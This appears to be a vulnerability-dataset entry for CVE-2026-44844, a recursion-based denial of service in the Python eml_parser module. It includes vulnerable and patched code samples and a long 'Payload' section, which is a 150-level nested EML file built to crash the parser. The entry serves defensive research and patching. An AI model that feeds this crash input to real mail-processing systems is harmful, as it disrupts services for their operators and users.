VAITP Dataset

← Back to the dataset

CVE-2026-44844

Deeply nested EML file causes denial of service via recursion.

  • CVSS 6.3
  • CWE-674
  • Resource Management
  • Remote

eml_parser serves as a python module for parsing eml files and returning various information found in the e-mail as well as computed information. Prior to 3.0.1, EmlParser.get_raw_body_text() recurses unconditionally for every nested message/rfc822 attachment without any depth limit. An attacker who can supply a badly crafted EML file with approximately 120 nested message/rfc822 parts triggers an unhandled RecursionError and aborts parsing of the message. A 12 KB EML file is enough to crash a worker. Though this causes the parser to crash, it is an unlikely scenario as the suggested EML that crashes the parser would not pass basic RFC compliance tests. This vulnerability is fixed in 3.0.1.

CVE
CVE-2026-44844
CWE
CWE-674
CVSS base score
6.3
Published
2026-05-26
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Missing Check
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
eml_parser
Fixed by upgrading
Yes

Solution

Upgrade `eml_parser` to version 3.0.1 or later.

Vulnerable code sample

import email

class EmlParser:
    def __init__(self, eml: bytes, include_raw_body: bool = False):
        self.eml = email.message_from_bytes(eml)
        # Simplified constructor for demonstration purposes.
        # The real constructor would have more logic.

    def get_raw_body_text(self) -> str:
        """
        Walks through all sub-parts of an email and returns the raw text.
        This version is vulnerable as it recurses without a depth limit.
        """
        body_text_parts = []

        for part in self.eml.walk():
            content_type = part.get_content_type()
            
            if content_type == "message/rfc822":
                # This part is a nested email message.
                # The vulnerability is here: it recurses unconditionally.
                # A new EmlParser is created for the nested message and
                # get_raw_body_text is called again, without any depth check.
                nested_eml_bytes = part.get_payload(decode=True)
                nested_parser = EmlParser(nested_eml_bytes)
                body_text_parts.append(nested_parser.get_raw_body_text())

            elif content_type.startswith("text/"):
                # It's a regular text part, get its content.
                try:
                    payload = part.get_payload(decode=True)
                    body_text_parts.append(payload.decode('utf-8', errors='ignore'))
                except Exception:
                    pass
        
        return "\n".join(body_text_parts)

Patched code sample

import sys

# In older versions of Python, the default recursion limit might be lower.
# We set a high one here to demonstrate that our own limit is what stops the process,
# not the system's default limit.
sys.setrecursionlimit(2000)

# A constant to define the maximum safe recursion depth for parsing nested emails.
# This is the core of the fix.
MAX_RECURSION_DEPTH = 100

class MockEmailPart:
    """A mock object to simulate parts of an email message."""
    def __init__(self, is_multipart, content_type, payload):
        self._is_multipart = is_multipart
        self._content_type = content_type
        self._payload = payload

    def is_multipart(self):
        return self._is_multipart

    def get_content_type(self):
        return self._content_type

    def get_payload(self):
        return self._payload

def get_raw_body_text_fixed(message, _depth=0):
    """
    A representative function showing the fix.

    It traverses email parts but stops recursing if the nesting level
    exceeds MAX_RECURSION_DEPTH, preventing a RecursionError.
    """
    # --- FIX STARTS HERE ---
    # Check the current recursion depth against the defined limit.
    if _depth > MAX_RECURSION_DEPTH:
        # If the limit is exceeded, stop processing and return.
        # This prevents the unbounded recursion.
        print(f"WARN: Maximum recursion depth of {MAX_RECURSION_DEPTH} exceeded. Stopping parse.")
        return "[Nested content truncated due to excessive depth]"
    # --- FIX ENDS HERE ---

    body_text = []
    if message.is_multipart():
        for part in message.get_payload():
            # Check if the part is another email message (the source of the recursion)
            if part.get_content_type() == 'message/rfc822':
                # Recursive call, but now with an incremented depth counter.
                nested_payload = part.get_payload()[0]
                text = get_raw_body_text_fixed(nested_payload, _depth + 1)
                body_text.append(text)
            else:
                body_text.append(str(part.get_payload()))
    else:
        body_text.append(str(message.get_payload()))

    return "\n".join(body_text)

def create_deeply_nested_email(depth):
    """Helper function to create a malicious, deeply nested email object."""
    if depth <= 0:
        return MockEmailPart(False, 'text/plain', 'Innermost message')
    else:
        nested_part = create_deeply_nested_email(depth - 1)
        # Each part is a multipart message containing another message
        payload = [MockEmailPart(True, 'message/rfc822', [nested_part])]
        return MockEmailPart(True, 'multipart/mixed', payload)


if __name__ == '__main__':
    # Create a malicious email with 150 nested parts, which is more than our limit.
    malicious_email = create_deeply_nested_email(150)

    print("Attempting to parse deeply nested email with the fixed function...")
    try:
        # This call will now complete successfully without a RecursionError.
        result = get_raw_body_text_fixed(malicious_email)
        print("\n--- Parsing Result ---")
        print(result)
        print("\n---")
        print("SUCCESS: Parsing completed without a crash due to the depth limit.")
    except RecursionError:
        print("FAILURE: A RecursionError occurred, the fix was not effective.")

Payload

From: attacker@example.com
To: victim@example.com
Subject: DoS Exploit
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="boundary1"

--boundary1
Content-Type: message/rfc822

From: nested1@example.com
To: victim@example.com
Subject: Nested Level 1
Content-Type: multipart/mixed; boundary="boundary2"

--boundary2
Content-Type: message/rfc822

From: nested2@example.com
To: victim@example.com
Subject: Nested Level 2
Content-Type: multipart/mixed; boundary="boundary3"

--boundary3
Content-Type: message/rfc822

From: nested3@example.com
To: victim@example.com
Subject: Nested Level 3
Content-Type: multipart/mixed; boundary="boundary4"

--boundary4
Content-Type: message/rfc822

From: nested4@example.com
To: victim@example.com
Subject: Nested Level 4
Content-Type: multipart/mixed; boundary="boundary5"

--boundary5
Content-Type: message/rfc822

From: nested5@example.com
To: victim@example.com
Subject: Nested Level 5
Content-Type: multipart/mixed; boundary="boundary6"

--boundary6
Content-Type: message/rfc822

From: nested6@example.com
To: victim@example.com
Subject: Nested Level 6
Content-Type: multipart/mixed; boundary="boundary7"

--boundary7
Content-Type: message/rfc822

From: nested7@example.com
To: victim@example.com
Subject: Nested Level 7
Content-Type: multipart/mixed; boundary="boundary8"

--boundary8
Content-Type: message/rfc822

From: nested8@example.com
To: victim@example.com
Subject: Nested Level 8
Content-Type: multipart/mixed; boundary="boundary9"

--boundary9
Content-Type: message/rfc822

From: nested9@example.com
To: victim@example.com
Subject: Nested Level 9
Content-Type: multipart/mixed; boundary="boundary10"

--boundary10
Content-Type: message/rfc822

From: nested10@example.com
To: victim@example.com
Subject: Nested Level 10
Content-Type: multipart/mixed; boundary="boundary11"

--boundary11
Content-Type: message/rfc822

From: nested11@example.com
To: victim@example.com
Subject: Nested Level 11
Content-Type: multipart/mixed; boundary="boundary12"

--boundary12
Content-Type: message/rfc822

From: nested12@example.com
To: victim@example.com
Subject: Nested Level 12
Content-Type: multipart/mixed; boundary="boundary13"

--boundary13
Content-Type: message/rfc822

From: nested13@example.com
To: victim@example.com
Subject: Nested Level 13
Content-Type: multipart/mixed; boundary="boundary14"

--boundary14
Content-Type: message/rfc822

From: nested14@example.com
To: victim@example.com
Subject: Nested Level 14
Content-Type: multipart/mixed; boundary="boundary15"

--boundary15
Content-Type: message/rfc822

From: nested15@example.com
To: victim@example.com
Subject: Nested Level 15
Content-Type: multipart/mixed; boundary="boundary16"

--boundary16
Content-Type: message/rfc822

From: nested16@example.com
To: victim@example.com
Subject: Nested Level 16
Content-Type: multipart/mixed; boundary="boundary17"

--boundary17
Content-Type: message/rfc822

From: nested17@example.com
To: victim@example.com
Subject: Nested Level 17
Content-Type: multipart/mixed; boundary="boundary18"

--boundary18
Content-Type: message/rfc822

From: nested18@example.com
To: victim@example.com
Subject: Nested Level 18
Content-Type: multipart/mixed; boundary="boundary19"

--boundary19
Content-Type: message/rfc822

From: nested19@example.com
To: victim@example.com
Subject: Nested Level 19
Content-Type: multipart/mixed; boundary="boundary20"

--boundary20
Content-Type: message/rfc822

From: nested20@example.com
To: victim@example.com
Subject: Nested Level 20
Content-Type: multipart/mixed; boundary="boundary21"

--boundary21
Content-Type: message/rfc822

From: nested21@example.com
To: victim@example.com
Subject: Nested Level 21
Content-Type: multipart/mixed; boundary="boundary22"

--boundary22
Content-Type: message/rfc822

From: nested22@example.com
To: victim@example.com
Subject: Nested Level 22
Content-Type: multipart/mixed; boundary="boundary23"

--boundary23
Content-Type: message/rfc822

From: nested23@example.com
To: victim@example.com
Subject: Nested Level 23
Content-Type: multipart/mixed; boundary="boundary24"

--boundary24
Content-Type: message/rfc822

From: nested24@example.com
To: victim@example.com
Subject: Nested Level 24
Content-Type: multipart/mixed; boundary="boundary25"

--boundary25
Content-Type: message/rfc822

From: nested25@example.com
To: victim@example.com
Subject: Nested Level 25
Content-Type: multipart/mixed; boundary="boundary26"

--boundary26
Content-Type: message/rfc822

From: nested26@example.com
To: victim@example.com
Subject: Nested Level 26
Content-Type: multipart/mixed; boundary="boundary27"

--boundary27
Content-Type: message/rfc822

From: nested27@example.com
To: victim@example.com
Subject: Nested Level 27
Content-Type: multipart/mixed; boundary="boundary28"

--boundary28
Content-Type: message/rfc822

From: nested28@example.com
To: victim@example.com
Subject: Nested Level 28
Content-Type: multipart/mixed; boundary="boundary29"

--boundary29
Content-Type: message/rfc822

From: nested29@example.com
To: victim@example.com
Subject: Nested Level 29
Content-Type: multipart/mixed; boundary="boundary30"

--boundary30
Content-Type: message/rfc822

From: nested30@example.com
To: victim@example.com
Subject: Nested Level 30
Content-Type: multipart/mixed; boundary="boundary31"

--boundary31
Content-Type: message/rfc822

From: nested31@example.com
To: victim@example.com
Subject: Nested Level 31
Content-Type: multipart/mixed; boundary="boundary32"

--boundary32
Content-Type: message/rfc822

From: nested32@example.com
To: victim@example.com
Subject: Nested Level 32
Content-Type: multipart/mixed; boundary="boundary33"

--boundary33
Content-Type: message/rfc822

From: nested33@example.com
To: victim@example.com
Subject: Nested Level 33
Content-Type: multipart/mixed; boundary="boundary34"

--boundary34
Content-Type: message/rfc822

From: nested34@example.com
To: victim@example.com
Subject: Nested Level 34
Content-Type: multipart/mixed; boundary="boundary35"

--boundary35
Content-Type: message/rfc822

From: nested35@example.com
To: victim@example.com
Subject: Nested Level 35
Content-Type: multipart/mixed; boundary="boundary36"

--boundary36
Content-Type: message/rfc822

From: nested36@example.com
To: victim@example.com
Subject: Nested Level 36
Content-Type: multipart/mixed; boundary="boundary37"

--boundary37
Content-Type: message/rfc822

From: nested37@example.com
To: victim@example.com
Subject: Nested Level 37
Content-Type: multipart/mixed; boundary="boundary38"

--boundary38
Content-Type: message/rfc822

From: nested38@example.com
To: victim@example.com
Subject: Nested Level 38
Content-Type: multipart/mixed; boundary="boundary39"

--boundary39
Content-Type: message/rfc822

From: nested39@example.com
To: victim@example.com
Subject: Nested Level 39
Content-Type: multipart/mixed; boundary="boundary40"

--boundary40
Content-Type: message/rfc822

From: nested40@example.com
To: victim@example.com
Subject: Nested Level 40
Content-Type: multipart/mixed; boundary="boundary41"

--boundary41
Content-Type: message/rfc822

From: nested41@example.com
To: victim@example.com
Subject: Nested Level 41
Content-Type: multipart/mixed; boundary="boundary42"

--boundary42
Content-Type: message/rfc822

From: nested42@example.com
To: victim@example.com
Subject: Nested Level 42
Content-Type: multipart/mixed; boundary="boundary43"

--boundary43
Content-Type: message/rfc822

From: nested43@example.com
To: victim@example.com
Subject: Nested Level 43
Content-Type: multipart/mixed; boundary="boundary44"

--boundary44
Content-Type: message/rfc822

From: nested44@example.com
To: victim@example.com
Subject: Nested Level 44
Content-Type: multipart/mixed; boundary="boundary45"

--boundary45
Content-Type: message/rfc822

From: nested45@example.com
To: victim@example.com
Subject: Nested Level 45
Content-Type: multipart/mixed; boundary="boundary46"

--boundary46
Content-Type: message/rfc822

From: nested46@example.com
To: victim@example.com
Subject: Nested Level 46
Content-Type: multipart/mixed; boundary="boundary47"

--boundary47
Content-Type: message/rfc822

From: nested47@example.com
To: victim@example.com
Subject: Nested Level 47
Content-Type: multipart/mixed; boundary="boundary48"

--boundary48
Content-Type: message/rfc822

From: nested48@example.com
To: victim@example.com
Subject: Nested Level 48
Content-Type: multipart/mixed; boundary="boundary49"

--boundary49
Content-Type: message/rfc822

From: nested49@example.com
To: victim@example.com
Subject: Nested Level 49
Content-Type: multipart/mixed; boundary="boundary50"

--boundary50
Content-Type: message/rfc822

From: nested50@example.com
To: victim@example.com
Subject: Nested Level 50
Content-Type: multipart/mixed; boundary="boundary51"

--boundary51
Content-Type: message/rfc822

From: nested51@example.com
To: victim@example.com
Subject: Nested Level 51
Content-Type: multipart/mixed; boundary="boundary52"

--boundary52
Content-Type: message/rfc822

From: nested52@example.com
To: victim@example.com
Subject: Nested Level 52
Content-Type: multipart/mixed; boundary="boundary53"

--boundary53
Content-Type: message/rfc822

From: nested53@example.com
To: victim@example.com
Subject: Nested Level 53
Content-Type: multipart/mixed; boundary="boundary54"

--boundary54
Content-Type: message/rfc822

From: nested54@example.com
To: victim@example.com
Subject: Nested Level 54
Content-Type: multipart/mixed; boundary="boundary55"

--boundary55
Content-Type: message/rfc822

From: nested55@example.com
To: victim@example.com
Subject: Nested Level 55
Content-Type: multipart/mixed; boundary="boundary56"

--boundary56
Content-Type: message/rfc822

From: nested56@example.com
To: victim@example.com
Subject: Nested Level 56
Content-Type: multipart/mixed; boundary="boundary57"

--boundary57
Content-Type: message/rfc822

From: nested57@example.com
To: victim@example.com
Subject: Nested Level 57
Content-Type: multipart/mixed; boundary="boundary58"

--boundary58
Content-Type: message/rfc822

From: nested58@example.com
To: victim@example.com
Subject: Nested Level 58
Content-Type: multipart/mixed; boundary="boundary59"

--boundary59
Content-Type: message/rfc822

From: nested59@example.com
To: victim@example.com
Subject: Nested Level 59
Content-Type: multipart/mixed; boundary="boundary60"

--boundary60
Content-Type: message/rfc822

From: nested60@example.com
To: victim@example.com
Subject: Nested Level 60
Content-Type: multipart/mixed; boundary="boundary61"

--boundary61
Content-Type: message/rfc822

From: nested61@example.com
To: victim@example.com
Subject: Nested Level 61
Content-Type: multipart/mixed; boundary="boundary62"

--boundary62
Content-Type: message/rfc822

From: nested62@example.com
To: victim@example.com
Subject: Nested Level 62
Content-Type: multipart/mixed; boundary="boundary63"

--boundary63
Content-Type: message/rfc822

From: nested63@example.com
To: victim@example.com
Subject: Nested Level 63
Content-Type: multipart/mixed; boundary="boundary64"

--boundary64
Content-Type: message/rfc822

From: nested64@example.com
To: victim@example.com
Subject: Nested Level 64
Content-Type: multipart/mixed; boundary="boundary65"

--boundary65
Content-Type: message/rfc822

From: nested65@example.com
To: victim@example.com
Subject: Nested Level 65
Content-Type: multipart/mixed; boundary="boundary66"

--boundary66
Content-Type: message/rfc822

From: nested66@example.com
To: victim@example.com
Subject: Nested Level 66
Content-Type: multipart/mixed; boundary="boundary67"

--boundary67
Content-Type: message/rfc822

From: nested67@example.com
To: victim@example.com
Subject: Nested Level 67
Content-Type: multipart/mixed; boundary="boundary68"

--boundary68
Content-Type: message/rfc822

From: nested68@example.com
To: victim@example.com
Subject: Nested Level 68
Content-Type: multipart/mixed; boundary="boundary69"

--boundary69
Content-Type: message/rfc822

From: nested69@example.com
To: victim@example.com
Subject: Nested Level 69
Content-Type: multipart/mixed; boundary="boundary70"

--boundary70
Content-Type: message/rfc822

From: nested70@example.com
To: victim@example.com
Subject: Nested Level 70
Content-Type: multipart/mixed; boundary="boundary71"

--boundary71
Content-Type: message/rfc822

From: nested71@example.com
To: victim@example.com
Subject: Nested Level 71
Content-Type: multipart/mixed; boundary="boundary72"

--boundary72
Content-Type: message/rfc822

From: nested72@example.com
To: victim@example.com
Subject: Nested Level 72
Content-Type: multipart/mixed; boundary="boundary73"

--boundary73
Content-Type: message/rfc822

From: nested73@example.com
To: victim@example.com
Subject: Nested Level 73
Content-Type: multipart/mixed; boundary="boundary74"

--boundary74
Content-Type: message/rfc822

From: nested74@example.com
To: victim@example.com
Subject: Nested Level 74
Content-Type: multipart/mixed; boundary="boundary75"

--boundary75
Content-Type: message/rfc822

From: nested75@example.com
To: victim@example.com
Subject: Nested Level 75
Content-Type: multipart/mixed; boundary="boundary76"

--boundary76
Content-Type: message/rfc822

From: nested76@example.com
To: victim@example.com
Subject: Nested Level 76
Content-Type: multipart/mixed; boundary="boundary77"

--boundary77
Content-Type: message/rfc822

From: nested77@example.com
To: victim@example.com
Subject: Nested Level 77
Content-Type: multipart/mixed; boundary="boundary78"

--boundary78
Content-Type: message/rfc822

From: nested78@example.com
To: victim@example.com
Subject: Nested Level 78
Content-Type: multipart/mixed; boundary="boundary79"

--boundary79
Content-Type: message/rfc822

From: nested79@example.com
To: victim@example.com
Subject: Nested Level 79
Content-Type: multipart/mixed; boundary="boundary80"

--boundary80
Content-Type: message/rfc822

From: nested80@example.com
To: victim@example.com
Subject: Nested Level 80
Content-Type: multipart/mixed; boundary="boundary81"

--boundary81
Content-Type: message/rfc822

From: nested81@example.com
To: victim@example.com
Subject: Nested Level 81
Content-Type: multipart/mixed; boundary="boundary82"

--boundary82
Content-Type: message/rfc822

From: nested82@example.com
To: victim@example.com
Subject: Nested Level 82
Content-Type: multipart/mixed; boundary="boundary83"

--boundary83
Content-Type: message/rfc822

From: nested83@example.com
To: victim@example.com
Subject: Nested Level 83
Content-Type: multipart/mixed; boundary="boundary84"

--boundary84
Content-Type: message/rfc822

From: nested84@example.com
To: victim@example.com
Subject: Nested Level 84
Content-Type: multipart/mixed; boundary="boundary85"

--boundary85
Content-Type: message/rfc822

From: nested85@example.com
To: victim@example.com
Subject: Nested Level 85
Content-Type: multipart/mixed; boundary="boundary86"

--boundary86
Content-Type: message/rfc822

From: nested86@example.com
To: victim@example.com
Subject: Nested Level 86
Content-Type: multipart/mixed; boundary="boundary87"

--boundary87
Content-Type: message/rfc822

From: nested87@example.com
To: victim@example.com
Subject: Nested Level 87
Content-Type: multipart/mixed; boundary="boundary88"

--boundary88
Content-Type: message/rfc822

From: nested88@example.com
To: victim@example.com
Subject: Nested Level 88
Content-Type: multipart/mixed; boundary="boundary89"

--boundary89
Content-Type: message/rfc822

From: nested89@example.com
To: victim@example.com
Subject: Nested Level 89
Content-Type: multipart/mixed; boundary="boundary90"

--boundary90
Content-Type: message/rfc822

From: nested90@example.com
To: victim@example.com
Subject: Nested Level 90
Content-Type: multipart/mixed; boundary="boundary91"

--boundary91
Content-Type: message/rfc822

From: nested91@example.com
To: victim@example.com
Subject: Nested Level 91
Content-Type: multipart/mixed; boundary="boundary92"

--boundary92
Content-Type: message/rfc822

From: nested92@example.com
To: victim@example.com
Subject: Nested Level 92
Content-Type: multipart/mixed; boundary="boundary93"

--boundary93
Content-Type: message/rfc822

From: nested93@example.com
To: victim@example.com
Subject: Nested Level 93
Content-Type: multipart/mixed; boundary="boundary94"

--boundary94
Content-Type: message/rfc822

From: nested94@example.com
To: victim@example.com
Subject: Nested Level 94
Content-Type: multipart/mixed; boundary="boundary95"

--boundary95
Content-Type: message/rfc822

From: nested95@example.com
To: victim@example.com
Subject: Nested Level 95
Content-Type: multipart/mixed; boundary="boundary96"

--boundary96
Content-Type: message/rfc822

From: nested96@example.com
To: victim@example.com
Subject: Nested Level 96
Content-Type: multipart/mixed; boundary="boundary97"

--boundary97
Content-Type: message/rfc822

From: nested97@example.com
To: victim@example.com
Subject: Nested Level 97
Content-Type: multipart/mixed; boundary="boundary98"

--boundary98
Content-Type: message/rfc822

From: nested98@example.com
To: victim@example.com
Subject: Nested Level 98
Content-Type: multipart/mixed; boundary="boundary99"

--boundary99
Content-Type: message/rfc822

From: nested99@example.com
To: victim@example.com
Subject: Nested Level 99
Content-Type: multipart/mixed; boundary="boundary100"

--boundary100
Content-Type: message/rfc822

From: nested100@example.com
To: victim@example.com
Subject: Nested Level 100
Content-Type: multipart/mixed; boundary="boundary101"

--boundary101
Content-Type: message/rfc822

From: nested101@example.com
To: victim@example.com
Subject: Nested Level 101
Content-Type: multipart/mixed; boundary="boundary102"

--boundary102
Content-Type: message/rfc822

From: nested102@example.com
To: victim@example.com
Subject: Nested Level 102
Content-Type: multipart/mixed; boundary="boundary103"

--boundary103
Content-Type: message/rfc822

From: nested103@example.com
To: victim@example.com
Subject: Nested Level 103
Content-Type: multipart/mixed; boundary="boundary104"

--boundary104
Content-Type: message/rfc822

From: nested104@example.com
To: victim@example.com
Subject: Nested Level 104
Content-Type: multipart/mixed; boundary="boundary105"

--boundary105
Content-Type: message/rfc822

From: nested105@example.com
To: victim@example.com
Subject: Nested Level 105
Content-Type: multipart/mixed; boundary="boundary106"

--boundary106
Content-Type: message/rfc822

From: nested106@example.com
To: victim@example.com
Subject: Nested Level 106
Content-Type: multipart/mixed; boundary="boundary107"

--boundary107
Content-Type: message/rfc822

From: nested107@example.com
To: victim@example.com
Subject: Nested Level 107
Content-Type: multipart/mixed; boundary="boundary108"

--boundary108
Content-Type: message/rfc822

From: nested108@example.com
To: victim@example.com
Subject: Nested Level 108
Content-Type: multipart/mixed; boundary="boundary109"

--boundary109
Content-Type: message/rfc822

From: nested109@example.com
To: victim@example.com
Subject: Nested Level 109
Content-Type: multipart/mixed; boundary="boundary110"

--boundary110
Content-Type: message/rfc822

From: nested110@example.com
To: victim@example.com
Subject: Nested Level 110
Content-Type: multipart/mixed; boundary="boundary111"

--boundary111
Content-Type: message/rfc822

From: nested111@example.com
To: victim@example.com
Subject: Nested Level 111
Content-Type: multipart/mixed; boundary="boundary112"

--boundary112
Content-Type: message/rfc822

From: nested112@example.com
To: victim@example.com
Subject: Nested Level 112
Content-Type: multipart/mixed; boundary="boundary113"

--boundary113
Content-Type: message/rfc822

From: nested113@example.com
To: victim@example.com
Subject: Nested Level 113
Content-Type: multipart/mixed; boundary="boundary114"

--boundary114
Content-Type: message/rfc822

From: nested114@example.com
To: victim@example.com
Subject: Nested Level 114
Content-Type: multipart/mixed; boundary="boundary115"

--boundary115
Content-Type: message/rfc822

From: nested115@example.com
To: victim@example.com
Subject: Nested Level 115
Content-Type: multipart/mixed; boundary="boundary116"

--boundary116
Content-Type: message/rfc822

From: nested116@example.com
To: victim@example.com
Subject: Nested Level 116
Content-Type: multipart/mixed; boundary="boundary117"

--boundary117
Content-Type: message/rfc822

From: nested117@example.com
To: victim@example.com
Subject: Nested Level 117
Content-Type: multipart/mixed; boundary="boundary118"

--boundary118
Content-Type: message/rfc822

From: nested118@example.com
To: victim@example.com
Subject: Nested Level 118
Content-Type: multipart/mixed; boundary="boundary119"

--boundary119
Content-Type: message/rfc822

From: nested119@example.com
To: victim@example.com
Subject: Nested Level 119
Content-Type: multipart/mixed; boundary="boundary120"

--boundary120
Content-Type: message/rfc822

From: nested120@example.com
To: victim@example.com
Subject: Nested Level 120
Content-Type: multipart/mixed; boundary="boundary121"

--boundary121
Content-Type: message/rfc822

From: nested121@example.com
To: victim@example.com
Subject: Nested Level 121
Content-Type: multipart/mixed; boundary="boundary122"

--boundary122
Content-Type: message/rfc822

From: nested122@example.com
To: victim@example.com
Subject: Nested Level 122
Content-Type: multipart/mixed; boundary="boundary123"

--boundary123
Content-Type: message/rfc822

From: nested123@example.com
To: victim@example.com
Subject: Nested Level 123
Content-Type: multipart/mixed; boundary="boundary124"

--boundary124
Content-Type: message/rfc822

From: nested124@example.com
To: victim@example.com
Subject: Nested Level 124
Content-Type: multipart/mixed; boundary="boundary125"

--boundary125
Content-Type: message/rfc822

From: nested125@example.com
To: victim@example.com
Subject: Nested Level 125
Content-Type: multipart/mixed; boundary="boundary126"

--boundary126
Content-Type: message/rfc822

From: nested126@example.com
To: victim@example.com
Subject: Nested Level 126
Content-Type: multipart/mixed; boundary="boundary127"

--boundary127
Content-Type: message/rfc822

From: nested127@example.com
To: victim@example.com
Subject: Nested Level 127
Content-Type: multipart/mixed; boundary="boundary128"

--boundary128
Content-Type: message/rfc822

From: nested128@example.com
To: victim@example.com
Subject: Nested Level 128
Content-Type: multipart/mixed; boundary="boundary129"

--boundary129
Content-Type: message/rfc822

From: nested129@example.com
To: victim@example.com
Subject: Nested Level 129
Content-Type: multipart/mixed; boundary="boundary130"

--boundary130
Content-Type: message/rfc822

From: nested130@example.com
To: victim@example.com
Subject: Nested Level 130
Content-Type: multipart/mixed; boundary="boundary131"

--boundary131
Content-Type: message/rfc822

From: nested131@example.com
To: victim@example.com
Subject: Nested Level 131
Content-Type: multipart/mixed; boundary="boundary132"

--boundary132
Content-Type: message/rfc822

From: nested132@example.com
To: victim@example.com
Subject: Nested Level 132
Content-Type: multipart/mixed; boundary="boundary133"

--boundary133
Content-Type: message/rfc822

From: nested133@example.com
To: victim@example.com
Subject: Nested Level 133
Content-Type: multipart/mixed; boundary="boundary134"

--boundary134
Content-Type: message/rfc822

From: nested134@example.com
To: victim@example.com
Subject: Nested Level 134
Content-Type: multipart/mixed; boundary="boundary135"

--boundary135
Content-Type: message/rfc822

From: nested135@example.com
To: victim@example.com
Subject: Nested Level 135
Content-Type: multipart/mixed; boundary="boundary136"

--boundary136
Content-Type: message/rfc822

From: nested136@example.com
To: victim@example.com
Subject: Nested Level 136
Content-Type: multipart/mixed; boundary="boundary137"

--boundary137
Content-Type: message/rfc822

From: nested137@example.com
To: victim@example.com
Subject: Nested Level 137
Content-Type: multipart/mixed; boundary="boundary138"

--boundary138
Content-Type: message/rfc822

From: nested138@example.com
To: victim@example.com
Subject: Nested Level 138
Content-Type: multipart/mixed; boundary="boundary139"

--boundary139
Content-Type: message/rfc822

From: nested139@example.com
To: victim@example.com
Subject: Nested Level 139
Content-Type: multipart/mixed; boundary="boundary140"

--boundary140
Content-Type: message/rfc822

From: nested140@example.com
To: victim@example.com
Subject: Nested Level 140
Content-Type: multipart/mixed; boundary="boundary141"

--boundary141
Content-Type: message/rfc822

From: nested141@example.com
To: victim@example.com
Subject: Nested Level 141
Content-Type: multipart/mixed; boundary="boundary142"

--boundary142
Content-Type: message/rfc822

From: nested142@example.com
To: victim@example.com
Subject: Nested Level 142
Content-Type: multipart/mixed; boundary="boundary143"

--boundary143
Content-Type: message/rfc822

From: nested143@example.com
To: victim@example.com
Subject: Nested Level 143
Content-Type: multipart/mixed; boundary="boundary144"

--boundary144
Content-Type: message/rfc822

From: nested144@example.com
To: victim@example.com
Subject: Nested Level 144
Content-Type: multipart/mixed; boundary="boundary145"

--boundary145
Content-Type: message/rfc822

From: nested145@example.com
To: victim@example.com
Subject: Nested Level 145
Content-Type: multipart/mixed; boundary="boundary146"

--boundary146
Content-Type: message/rfc822

From: nested146@example.com
To: victim@example.com
Subject: Nested Level 146
Content-Type: multipart/mixed; boundary="boundary147"

--boundary147
Content-Type: message/rfc822

From: nested147@example.com
To: victim@example.com
Subject: Nested Level 147
Content-Type: multipart/mixed; boundary="boundary148"

--boundary148
Content-Type: message/rfc822

From: nested148@example.com
To: victim@example.com
Subject: Nested Level 148
Content-Type: multipart/mixed; boundary="boundary149"

--boundary149
Content-Type: message/rfc822

From: nested149@example.com
To: victim@example.com
Subject: Nested Level 149
Content-Type: multipart/mixed; boundary="boundary150"

--boundary150
Content-Type: text/plain

This is the innermost part.
--boundary150--

--boundary149--

--boundary148--

--boundary147--

--boundary146--

--boundary145--

--boundary144--

--boundary143--

--boundary142--

--boundary141--

--boundary140--

--boundary139--

--boundary138--

--boundary137--

--boundary136--

--boundary135--

--boundary134--

--boundary133--

--boundary132--

--boundary131--

--boundary130--

--boundary129--

--boundary128--

--boundary127--

--boundary126--

--boundary125--

--boundary124--

--boundary123--

--boundary122--

--boundary121--

--boundary120--

--boundary119--

--boundary118--

--boundary117--

--boundary116--

--boundary115--

--boundary114--

--boundary113--

--boundary112--

--boundary111--

--boundary110--

--boundary109--

--boundary108--

--boundary107--

--boundary106--

--boundary105--

--boundary104--

--boundary103--

--boundary102--

--boundary101--

--boundary100--

--boundary99--

--boundary98--

--boundary97--

--boundary96--

--boundary95--

--boundary94--

--boundary93--

--boundary92--

--boundary91--

--boundary90--

--boundary89--

--boundary88--

--boundary87--

--boundary86--

--boundary85--

--boundary84--

--boundary83--

--boundary82--

--boundary81--

--boundary80--

--boundary79--

--boundary78--

--boundary77--

--boundary76--

--boundary75--

--boundary74--

--boundary73--

--boundary72--

--boundary71--

--boundary70--

--boundary69--

--boundary68--

--boundary67--

--boundary66--

--boundary65--

--boundary64--

--boundary63--

--boundary62--

--boundary61--

--boundary60--

--boundary59--

--boundary58--

--boundary57--

--boundary56--

--boundary55--

--boundary54--

--boundary53--

--boundary52--

--boundary51--

--boundary50--

--boundary49--

--boundary48--

--boundary47--

--boundary46--

--boundary45--

--boundary44--

--boundary43--

--boundary42--

--boundary41--

--boundary40--

--boundary39--

--boundary38--

--boundary37--

--boundary36--

--boundary35--

--boundary34--

--boundary33--

--boundary32--

--boundary31--

--boundary30--

--boundary29--

--boundary28--

--boundary27--

--boundary26--

--boundary25--

--boundary24--

--boundary23--

--boundary22--

--boundary21--

--boundary20--

--boundary19--

--boundary18--

--boundary17--

--boundary16--

--boundary15--

--boundary14--

--boundary13--

--boundary12--

--boundary11--

--boundary10--

--boundary9--

--boundary8--

--boundary7--

--boundary6--

--boundary5--

--boundary4--

--boundary3--

--boundary2--

--boundary1--

Cite this entry

@misc{vaitp:cve202644844,
  title        = {{Deeply nested EML file causes denial of service via recursion.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44844},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44844/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::